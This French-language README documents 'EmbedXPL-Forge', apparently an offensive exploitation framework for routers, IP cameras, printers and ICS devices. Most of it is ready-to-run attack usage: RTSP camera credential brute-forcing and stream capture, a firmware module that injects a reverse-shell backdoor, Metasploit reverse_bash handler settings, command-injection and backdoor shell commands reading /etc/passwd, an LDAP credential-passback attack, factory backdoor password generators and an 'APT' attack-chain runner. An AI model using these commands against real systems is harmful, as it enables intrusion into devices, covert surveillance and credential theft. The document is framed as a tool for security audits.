Note sur la plateforme : Ce framework est conçu et testé principalement sur Linux (Debian/Ubuntu/Kali). La plupart des modules dépendant du matériel (adaptateurs sans fil, périphériques USB, accès aux sockets bruts, outils de firmware) nécessitent Linux. L'exécution sous Windows ou macOS peut provoquer des erreurs ou des fonctionnalités limitées dans de nombreux modules. Linux est fortement recommandé pour une compatibilité maximale.

EmbedXPL-Forge

Framework d'évaluation de la sécurité des systèmes embarqués et du périmètre

EmbedXPL-Forge est un framework open-source d'exploitation et de scan destiné aux professionnels de la sécurité qui auditent les routeurs, commutateurs, caméras IP, NVR/DVR, ONT GPON, CPE d'opérateurs, imprimantes, IoT, OT/ICS et dispositifs embarqués en périphérie de réseau. Il fournit plus de 2800 modules actifs couvrant les tests d'identifiants, l'exploitation de vulnérabilités, le scan réseau, la génération de payloads, les attaques de caméras RTSP, la manipulation de firmware, l'orchestration PolyExploit multi-langages et un arsenal complet dédié aux imprimantes — avec plus de 700 CVE cartographiées sur plus de 114 fournisseurs et un moteur d'attaque APT Group qui reproduit des chaînes d'attaque réelles d'États-nations.

Version : 3.2.0

Fonctionnalités

• Plus de 625 modules d'exploitation — RCE, contournement d'authentification, traversée de répertoire, divulgation d'informations, débordement de tampon, détournement DNS, injection de commandes, backdoor, CSRF, déchiffrement de configuration, générateurs de clés WPA/WPS, générateurs de mots de passe d'usine, chaînes de BOF heap/stack
• 88 modules d'identifiants — attaques par dictionnaire contre FTP, SSH, Telnet, HTTP, SNMP, SFTP
• Plus de 185 modules d'exploitation d'imprimantes — HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung ; PJL/IPP/LPD/WSD/CUPS ; chaînes Pwn2Own 2026 ; PrintingShellz ; coercition NTLM MS-RPRN
• Moteur complet pour caméras RTSP — brute-force de routes (plus de 195 routes), brute-force d'identifiants (plus de 80 paires), authentification Basic/Digest, RTSPS/TLS, tunnel RTSP-over-HTTP (Python pur, RFC 2326 App-C), scanner nmap/masscan/direct, ONVIF WS-Discovery, sortie M3U
• 7 scripts NSE Nmap personnalisés — découverte RTSP, empreinte de caméras, validation des CVE Hikvision/Dahua, test d'identifiants par défaut, vérifications CVE multi-fournisseurs, capture de snapshots (pip install embedxpl[nse])
• Suite d'exploitation de firmware — détection de format, injection de backdoor, correction de checksum, contournement de flash constructeur (NETGEAR, TP-Link, D-Link, ASUS)
• Orchestrateur PolyExploit — compilation C/C++ à l'exécution (gcc/clang/mingw/cross), exécution d'exploits Ruby/Node.js/PHP/Bash/Perl, intégration msfconsole, intégration ExploitDB/searchsploit
• Modules ICS/OT — Universal Robots PolyScope 5, RIOT OS, Modbus, S7comm, EtherNet/IP, BACnet, DNP3
• Domotique / maritime / spécialisé — eNet SMART HOME, OpenRemote, Metis maritime IoT (WIC/DFS)
• Plus de 5 modules de scan — AutoPwn, scanners spécifiques aux appareils, découverte d'imprimantes WSD/mDNS
• 32 modules de payloads — shells TCP reverse/bind pour x86, x64, ARM, MIPS, Python, Perl, PHP
• 13 modules d'encodage — encodage Base64 et hexadécimal pour Python, PHP, Perl
• 14 modules génériques — Heartbleed, ShellShock, UPnP IGD, bruteforce SNMP, TCP Xmas, amplification UDP, recherche CVE, détecteur de détournement DNS, intercepteur AITM
• Plus de 700 CVE cartographiées — de 2001 à 2026, incluant les chaînes Pwn2Own 2026 et des CVE critiques IoT/OT/maritimes

Types d'appareils pris en charge

Fournisseurs pris en charge

Réseau / Routeur / CPE : 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL

Caméras / NVR / DVR : Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Caméras Cisco · Geuterbruck · Caméras Honeywell · Jovision · Caméras Siemens · Xiongmai (OEM) · Zivif · MVPower DVR · Caméras WiFi P2P génériques · DVR/NVR OEM génériques

Imprimantes / MFP : HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · IPP/PJL/LPD/CUPS/WSD génériques

NAS / VPN / Pare-feu / Sécurité : QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent

ICS / OT / Robotique : Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP

Domotique / Maritime / OS embarqués : eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (maritime) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen

Installation

Option 1 — PyPI (recommandé)```bash

pip install embedxpl embedxpl

### Option 2 — Avec les scripts NSE de Nmap```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"

# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install

# Verify installation
python -m embedxpl.nse list

Remarque : Sous Linux/macOS, l'étape d'installation peut nécessiter sudo pour écrire dans /usr/share/nmap/scripts/. Exécutez : sudo python -m embedxpl.nse install

Option 3 — Depuis les sources```bash

git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher

or: python exf.py # auto-detects .venv

Optional: also install NSE scripts

.venv/bin/python -m embedxpl.nse install

### Option 4 — Module Python```bash
pip install embedxpl
python -m embedxpl

Démarrage rapide```bash

Install

pip install embedxpl

Launch interactive shell

embedxpl

Run a specific module directly

embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1

Network discovery

embedxpl -c "discover 192.168.1.0/24"

RTSP camera scan + brute-force

embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100

Nmap NSE quick scan (after pip install embedxpl[nse] + embedxpl-nse install)

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100

## Utilisation

### Shell interactif```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run

Commandes courantes

Moteur d'attaque de groupe APT```

List all cataloged threat actors

exf > apt list

Show APT28 attack chain details

exf > apt show apt28

Search for groups targeting MikroTik

exf > apt search mikrotik

Execute the full APT28 DNS hijack chain (interactive)

exf > apt run apt28

Execute only the credential disclosure attack (#0)

exf > apt run apt28 0

### Découverte du réseau```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover

# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1

# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh

La découverte utilise un pipeline multi-phases : balayage ARP → Nmap (sondes d'hôtes multi-méthodes) → Scapy → repli sur connexion TCP. Les résultats sont mis en correspondance avec le catalogue de modules et filtrés par fournisseur/modèle. La base de données IEEE OUI (embedxpl/data/oui.txt) résout les adresses MAC en fournisseurs avec une recherche en ligne prioritaire et un repli local. Lorsqu'un hôte expose des capacités WiFi, l'outil recommande WirelessXPL-Forge pour les attaques spécifiques au sans-fil.

Profils de temporisation (T0–T5) reprennent les conventions de Nmap :

Gestion de session```

List all hosts with scan history

exf > sessions list

Full history for one host: tested modules, findings, timestamps

exf > sessions show 192.168.1.1

Export session as JSON

exf > sessions export 192.168.1.1

Delete one session

exf > sessions delete 192.168.1.1

Purge all sessions

exf > sessions purge

Les sessions sont stockées dans `~/.exf_sessions/` au format JSON, indexées par le SHA-256 de l'IP+MAC. Lors de la redécouverte d'un hôte connu, les modules déjà testés sont affichés comme `[Tested]` et ignorés par défaut.

### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run

Moteur de caméra RTSP

Pipeline d'attaque RTSP complet avec une implémentation native en Python couvrant tous les modes de transport RTSP standard.

Modes de transport

Pipeline d'attaque```python

from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream

1. Discover RTSP-speaking hosts on the network

scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])

Returns: [('192.168.1.100', 554), ('192.168.1.101', 8554), ...]

2. Run full 5-phase attack pipeline

attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)

3. Inspect results

for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True

**Sortie attendue :**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

Mode Skip-Scan (Hôtes connus)```python

Skip network scan, attack known hosts directly

hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])

Accepts: "host:port", "host", CIDR "192.168.1-2.0-255", hostnames

**Entrée/sortie attendue :**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]

Tunnel RTSP-sur-HTTP

Utilisé lorsque les caméras se trouvent derrière des proxys HTTP ou des pare-feu d'entreprise qui bloquent TCP/554.```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel

Direct tunnel usage

tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )

Returns: raw RTSP response bytes (base64-decoded from HTTP body)

Or via RTSPClient factory

client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")

**Entrée/sortie attendue :**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

Module RTSP (Interactif)```

embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options

Option Default Description

target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery

embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run

## Scripts NSE Nmap

EmbedXPL-Forge inclut 7 scripts NSE Nmap personnalisés pour l'analyse IoT/caméra et la détection de CVE.

### Installation```bash
# Install with NSE extras
pip install "embedxpl[nse]"

# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install

# Force overwrite existing scripts
python -m embedxpl.nse install --force

# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts

Sortie attendue :``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse

Installed: 7 script(s) [OK] nmap --script-updatedb complete

### Liste / Informations```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover

Référence des scripts NSE

embedxpl-rtsp-discover — Découverte de service RTSP

Détecte les services RTSP, récupère la bannière Server:, identifie le fournisseur, liste les méthodes prises en charge et effectue des références croisées avec les CVE connues.```bash

Basic usage

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24

With custom timeout

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24

**Sortie attendue :**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
|   Status : 200
|   Server : Hikvision IP Camera NVRA (V5.4.5)
|   Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
|   Vendor : Hikvision
|   Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-camera-identify — Empreinte profonde de caméras

Identification multi-protocole : sonde l'interface web HTTP/HTTPS, la bannière RTSP et ONVIF. Extrait le fabricant, le modèle, le firmware, le numéro de série et l'adresse MAC.```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24

**Sortie attendue (Hikvision) :**```
80/tcp open http
| embedxpl-camera-identify:
|   Protocol : HTTP (HTTP 200)
|   Vendor   : Hikvision
|   Model    : DS-2CD2143G0-I
|   Firmware : V5.6.2 build 190401
|   Serial   : DS-2CD2143G0-I20190401AAWRA123456789
|   CVEs     : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
|   Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-hikvision-vuln — Vérificateur de CVE Hikvision

Validation active de CVE-2021-36260 (RCE via /SDK/webLanguage, CVSS 9.8) et CVE-2017-7921 (contournement d'authentification par snapshot).```bash nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100 nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24

**Sortie attendue :**```
80/tcp open http
| embedxpl-hikvision-vuln:
|   Device          : DS-2CD2143G0-I
|   Firmware        : V5.3.0 build 170112
|   CVE-2021-36260  : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
|   CVE-2017-7921   : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
|   EmbedXPL RCE module  : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_  Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-dahua-vuln — Vérificateur de CVE Dahua

Teste CVE-2021-33044 (contournement d'authentification, CVSS 9.8), CVE-2020-25078 (divulgation d'utilisateurs), CVE-2013-6117 (DVR hérités). Couvre également les OEM Dahua : Amcrest, Intelbras, TVT, Jovision, ANNKE.```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24

**Sortie attendue :**```
80/tcp open http
| embedxpl-dahua-vuln:
|   Vendor         : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
|   CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
|   CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
|   CVE-2013-6117  : NOT VULNERABLE
|   EmbedXPL Auth Bypass  : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|   EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_  Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

embedxpl-rtsp-creds — Testeur d'identifiants RTSP par défaut

Teste 18 paires d'identifiants par défaut sur plus de 9 routes RTSP courantes en utilisant l'authentification Basic. Signale la première correspondance.```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100

With custom route hint

nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100

**Sortie attendue :**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
|   Server           : Hikvision IP Camera NVRA
|   Credential found : admin: (empty password)
|   Stream URL       : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
|   Auth type        : Basic
|   Response code    : 200
|   EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_  Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-iot-cve-check — Empreinte CVE multi-fournisseurs

Détecte et valide 10 CVE actives sur Hikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall et GPON.```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24

**Sortie attendue :**```
80/tcp open http
| embedxpl-iot-cve-check:
|   CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
|     → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   CVE-2021-33044 (Dahua, CVSS 9.8)   : NOT VULNERABLE — HTTP 404
|   EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_  Full exploitation: pip install embedxpl && embedxpl

embedxpl-camera-snapshot — Accès instantané non authentifié

Sonde 16 points de terminaison d'instantanés spécifiques à des fournisseurs. Signale toute URL renvoyant image/* sans identifiants. Enregistre éventuellement les fichiers JPEG localement.```bash nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100

Save snapshots to disk

nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24

**Sortie attendue :**```
80/tcp open http
| embedxpl-camera-snapshot:
|   Endpoint 1 (Dahua):
|     URL          : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
|     Content-Type : image/jpeg
|     Size         : 45231 bytes
|     Access       : UNAUTHENTICATED SNAPSHOT ACCESS
|     EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_    Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

Exécuter tous les scripts NSE via Python```bash

Run all scripts via embedxpl-nse CLI

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all

Run specific scripts

python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln

With output file

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt

Custom ports

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554

**Désinstaller :**```bash
python -m embedxpl.nse uninstall

Exploitation de firmware```

embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run

**Ce qu'il fait :**
1. Détecte le format du firmware (TRX, DLOB, SEAMA, WRGG, binaire brut)
2. Injecte une backdoor de reverse shell à un offset approprié
3. Recalcule la somme de contrôle CRC32/MD5
4. Téléverse via un point de terminaison de flash spécifique au fournisseur (contournant l'authentification le cas échéant)
5. Attend le redémarrage de l'appareil et vérifie l'exécution de la backdoor


## PolyExploit Orchestrator

Permet la compilation C/C++ à l'exécution et l'exécution de scripts multi-langages pour les exploits non portables en Python pur.

### Compilation C/C++ à l'exécution```python
from embedxpl.core.poly import CCompiler

compiler = CCompiler()

# Check available compilers
print(compiler.compiler_available())  # {'gcc': True, 'clang': False, 'mingw': False}

# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
    source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    // Stack overflow PoC
    char buf[64];
    memcpy(buf, argv[1], atoi(argv[2]));
    return 0;
}
""",
    arch="x86",   # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)

# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)

Exécution de scripts multi-langages```python

from embedxpl.core.poly import PolyRunner

runner = PolyRunner() print(runner.available_runtimes())

{'ruby': True, 'node': True, 'php': True, 'bash': True, 'perl': True}

Execute a Ruby exploit

result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])

Metasploit integration

runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })

ExploitDB / searchsploit lookup

results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])

## Nouveau dans la v3.1.0 — CVE 2026/2025/2024 + Domaine des imprimantes + Quality Gates

**54 nouveaux modules** couvrant les imprimantes, les OS embarqués, l'ICS/OT, la domotique, l'IoT maritime et les chaînes Pwn2Own 2026. Points clés :

### Chaînes Pwn2Own 2026```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed

# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run

CVE critiques de 2026```

wolfSSL identity forgery (CVE-2026-5194, CVSS 9.3, ~5B devices)

exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run

PAN-OS User-ID BOF (CVE-2026-0300, CVSS 9.8, active exploitation)

exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run

Universal Robots PolyScope 5 (CVE-2026-8153, CVSS 9.8, unauth OS cmd injection)

exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)

GNU InetUtils telnetd auth bypass (CVE-2026-24061, CVSS 9.8, unauth root)

exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)

Metis maritime IoT (CVE-2026-2248, CVSS 9.8, unauth root shell)

exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run

Cisco IOS XE WLC hardcoded JWT (CVE-2025-20188, CVSS 10.0)

exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run

### Exemples de Printer Arsenal```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS     : READY
INFO PAGECOUNT  : 12847
INFO MEMORY     : 512000 BYTES

# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run

# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication

Couverture des portes dérobées / mots de passe d'usine

27+ modules d'exploitation ciblant les mots de passe d'usine, les portes dérobées codées en dur, les algorithmes de génération de clés WPA par défaut et les vecteurs CSRF de détournement DNS sur les routeurs SOHO anciens et modernes. Exemples clés :```

EasyBox (Arcadyan) — WPA2 default key from MAC (factory algorithm)

exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b

Seagate NAS — Ghost PHP unauthenticated RCE (CVE-2014-8684)

exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l

Alpha Networks / ZTE — web_shell_cmd.gch backdoor

exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...

RuggedCom — factory backdoor password generator (FD 2012/Apr/277)

exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b

Alcatel-Lucent OmniPCX Enterprise — masterCGI RCE

exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...

TRENDnet camera — unauthenticated MJPEG live stream

